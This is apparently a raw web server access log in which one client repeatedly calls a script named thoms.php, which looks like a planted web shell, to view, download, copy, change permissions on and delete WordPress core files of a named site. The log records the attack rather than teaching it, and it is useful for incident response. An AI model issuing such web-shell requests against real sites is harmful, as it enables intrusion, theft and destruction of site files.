45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?chmod=icons.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?del=category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59178 "http://163.245.207.76:443/thoms.php?del=category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12739 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?del=ms-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14635 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?chmod=class-phpass.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:25 -0400] "GET /thoms.php?del=class-wp-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /bossini.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14903 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /bossini.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18466 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?del=class-wp-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:26 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14423 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31892 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?dl=query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59099 "http://163.245.207.76:443/thoms.php?dl=query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /bossini.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18565 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?del=comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:27 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?chmod=ai-client&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32898 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12923 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14097 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21418 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?dl=class-wp-user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?chmod=embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:28 -0400] "GET /thoms.php?del=block-template-utils.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /bossini.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /bossini.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?dl=ms-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59145 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?dl=json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:29 -0400] "GET /thoms.php?del=post-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:30 -0400] "GET /thoms.php?del=script-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13215 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:30 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13196 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:30 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /bossini.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:30 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59176 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /thoms.php?del=block-bindings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /bossini.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:31 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /bossini.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcomment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcomment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
